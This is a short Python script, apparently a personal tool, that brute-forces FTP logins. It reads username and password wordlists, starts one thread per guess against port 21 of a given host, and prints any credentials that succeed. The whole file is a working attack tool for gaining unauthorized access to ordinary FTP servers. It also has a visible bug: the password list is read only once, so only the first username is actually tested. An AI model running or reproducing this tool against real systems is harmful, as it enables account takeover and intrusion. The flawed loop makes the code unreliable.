Mybruster_ftp 函数版.py

#!/usr/bin/env python
# -*- coding:utf-8 -*-


import ftplib
import threading
import argparse


def ftpcrack(host, username, password):
    ftp = ftplib.FTP()
    try:
        ftp.connect(host, 21, 2)
        ftp.login(username, password)
        ftp.retrlines('LIST')
        ftp.quit()
        print("{} succeed username{} password {}".format(host, username, password))
        return True
    except ftplib.all_errors as e:
        pass


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='please host  you want to crack ,eg:127.0.0.1')
    parser.add_argument('userlist', help='userlist eag:user.txt')
    parser.add_argument('passlist', help='passlist  eg:pass.txt')
    args = parser.parse_args()

    host = args.host

    userfile = args.userlist

    passfile = args.passlist

    userf = open(userfile, 'r')
    passf = open(passfile, 'r')
    for line in userf.readlines():
        username = line.strip()
        for line in passf.readlines():
            password = line.strip()
            t = threading.Thread(target=ftpcrack, args=(host, username, password))
            t.start()


if __name__ == "__main__":
    main()